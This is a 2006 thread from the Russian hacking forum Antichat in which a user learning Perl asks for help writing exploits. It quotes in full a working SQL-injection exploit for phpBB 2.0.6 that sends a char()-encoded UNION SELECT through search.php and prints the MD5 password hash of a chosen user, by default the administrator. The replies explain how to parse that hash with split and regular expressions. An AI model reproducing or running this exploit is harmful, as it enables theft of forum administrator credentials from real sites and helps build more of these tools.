ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Сплоит
  #1  
Старый 03.09.2006, 22:22
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию Сплоит

Помогите с написанием сплоита. Так сказать изучаю перл. Но проблемма в том что не могу написать сплоит чтоб он работал по человечески, типа запустил, он все сам сделал и дал тебе хеш. Просто получается что хеш выдается в код страничке при запросе который делает сплоит. И как же тогда достать именно хеш среди html? парсить страницу? Ну вобщем помогите хоть как нибудь. Буду очень признателен за хоть какой-нибудь пример.

Вот пример чужого сплоита:
Код:
#!/usr/bin/perl -w
use IO::Socket;


##    PROOF-OF-CONCEPT
##    * работает только с mysql v>4.0
##    * работает только если на форуме не удалено самое первое сообщение
##
##    Example:
##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
##    [~] prepare to connect...
##    [+] connected
##    [~] prepare to send data...
##    [+] OK
##    [~] wait for response...
##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
##


if (@ARGV < 4)
{
print "\n\n";
print "|****************************************************************|\n";
print " r57phpbb.pl\n";
print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
print " [~] <server> - server ip\n";
print " [~] <folder> - forum folder\n";
print " [~] <user_id> - user id (2 default for phpBB admin)\n";
print " [~] <search_id> - play with this value for results\n";
print "|****************************************************************|\n";
print "\n\n";
exit(1);
}

$success = 0;
$server = $ARGV[0];
$folder = $ARGV[1];
$user_id = $ARGV[2];
$search_id = $ARGV[3];
print "[~] prepare to connect...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$server",
PeerPort => "80") || die "$socket error $!";
print "[+] connected\n";
print "[~] prepare to send data...\n";
# PROOF-OF-CONCEPT reguest...
print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
print "[+] OK\n";
print "[~] wait for response...\n";
while ($answer = <$socket>)
{
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
}
}
if ($success==0) {print "[-] exploit failed =(\n";}

## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
Непонятны в нем именно такие строки:
Код:
if ($answer =~ /;highlight=/)
{
$success = 1;
@result=split(/;/,$answer);
@result2=split(/=/,$result[1]);
$result2[1]=~s/&/ /g;
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";

----------------------------------
Короче сам вопрос - как оно находит сам хеш? =)
 
Ответить с цитированием

  #2  
Старый 03.09.2006, 22:55
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
Код:
while($text~=/[0-9A-F]{32}/gi){
  print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр

Последний раз редактировалось hidden; 03.09.2006 в 23:13.. Причина: Добавил
 
Ответить с цитированием

  #3  
Старый 03.09.2006, 23:02
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

ага. спс . то есть я типа задаю range. ок. а линка на статейку нет?
 
Ответить с цитированием

  #4  
Старый 03.09.2006, 23:05
Аватар для hidden
hidden
Постоянный
Регистрация: 23.04.2006
Сообщений: 622
Провел на форуме:
5887054

Репутация: 1292


По умолчанию

Линка не знаю, поищи, так и пиши "Регулярные выражения".
А вообще, посмотри эти, они очень похожи
http://www.php.net/manual/ru/reference.pcre.pattern.syntax.php
 
Ответить с цитированием

  #5  
Старый 03.09.2006, 23:06
Аватар для k1b0rg
k1b0rg
Тут может быть ваша реклама.
Регистрация: 30.07.2005
Сообщений: 1,243
Провел на форуме:
4520553

Репутация: 1316


По умолчанию

$text~=/[0-9A-F]{32}/gi
так будет правильней
 
Ответить с цитированием

  #6  
Старый 08.09.2006, 13:03
Аватар для Digimortal
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


Smile

Регулярные выражение это, конечно, очень удобно, но часто возникают ситуации, когда удобней использовать split, чтобы выцепить из переменной, содержащей ответ сервера определенные данные. Например, на днях я писал скрипт который вынимает мейлы из html-страниц, причем не все в подряд а расположенные в определенном месте. В таких ситуациях, когда знаешь формат текста из которого надо извлечь определенные данные, split очень удобен.

Чтоб стало ясно, прокоментирую непонятный topicstarter'у фрагмент:

Код:
if ($answer =~ /;highlight=/) #здесь переменная $answer проверяется на присутствие текста ";highlight=" в ней, и если он есть, то
{
$success = 1; #эксплуатация считается удавшейся
# не стал узнавать чо там возвращает эксплоит, пусть что-нить подобное:
# lala=tralala;highlight=&&D41D8CD98F00B204E9800998ECF8427E;lalalalala;lalala;etc
# из всего этого надо извлечь хеш
@result=split(/;/,$answer); #здесь мы делим значение $answer по символу ";" и заносим каждое из этих разделенных значений в массив @result. Теперь в элементе массива $result[1] содержится "highlight=&&D41D8CD98F00B204E9800998ECF8427E"
@result2=split(/=/,$result[1]); # теперь $result2[1]=&&D41D8CD98F00B204E9800998ECF8427E
$result2[1]=~s/&/ /g; # заменяем символы & на пробелы
print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; # без комментариев...
В общем, тут все очень просто.
В случае с данным сплоитом, возможно, применить рег. выражения было бы разумней...

Последний раз редактировалось Digimortal; 08.09.2006 в 13:06..
 
Ответить с цитированием

  #7  
Старый 08.09.2006, 20:04
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Огромное спасибо Digimortal. Ты оч помог. Держи +
 
Ответить с цитированием

  #8  
Старый 08.09.2006, 23:16
Аватар для genom--
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

что тут сложного сохрани ответ серва в переменную а потом по маске 32 символа подряд (я думаю их там мало тааких может встретиться) или нада позырить по ответу после чего идет хеш и выдрать его сплитом или выдрать его с помошью поиска даже или на крайняк субстрактом
вырезаем букавки
$stroka="syka pisia pyk"
$zz=substr($stroka,0,4) # 'syka'
$zz=substr($stroka,5,5) # 'pisia'
$zz=substr($stroka,-3) # 'pyk'


также мона и 32 символа выдрать--- ламерский вопрос помоему
 
Ответить с цитированием

  #9  
Старый 09.09.2006, 01:04
Аватар для LoFFi
LoFFi
Участник форума
Регистрация: 21.02.2006
Сообщений: 285
Провел на форуме:
1347867

Репутация: 408
Отправить сообщение для LoFFi с помощью ICQ
По умолчанию

Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну

Последний раз редактировалось LoFFi; 09.09.2006 в 12:23..
 
Ответить с цитированием

  #10  
Старый 09.09.2006, 16:21
Аватар для KSURi
KSURi
Постоянный
Регистрация: 06.06.2006
Сообщений: 515
Провел на форуме:
1985206

Репутация: 963


По умолчанию

Цитата:
Сообщение от hidden  
Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
Код:
while($text~=/[0-9A-F]{32}/gi){
  print "$0\n";
}
Так можно найти все хэши, в тексте $text
----------
i - не учитывать гегистр
$0 - спец. переменная в которой хранится название запускаемого скрипта. Тебе нужна $1 - спец. переменная в которой хранится первое совпадение в последнем сравнении. Также можно юзать $1..9
соответственно.
PS: про модификатор i уже сказали, а мод. g (global) - заставляет парсер искать все совпадения в данном тексте.
т.е.:
Код:
my @hashes=$html=~/[0-9A-F]{32}/ig; # ВСЁ что попадет под данную маску будет помещено в список hashes
Цитата:
Сообщение от k1b0rg  
$text~=/[0-9A-F]{32}/gi
так будет правильней
C:\>perl -e "$text='test';if($text~=/test/) { print 'OK' }"
syntax error at -e line 1, near "$text~"
Execution of -e aborted due to compilation errors.

C:\>perl -e "$text='test';if($text=~/test/) { print 'OK' }"
OK
C:\>

Последний раз редактировалось KSURi; 09.09.2006 в 16:33..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Как заюзать сплоит под сп2? fleeper Болталка 4 12.05.2006 20:52
Срочно! Сплоит! LoFFi PHP, PERL, MySQL, JavaScript 6 11.05.2006 21:46
Новый сплоит под мускул AoD PHP, PERL, MySQL, JavaScript 4 04.05.2006 12:29
Сплоит для Linux 2.6.11 [CH]P] АнтиАдмин 3 05.05.2005 10:29



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ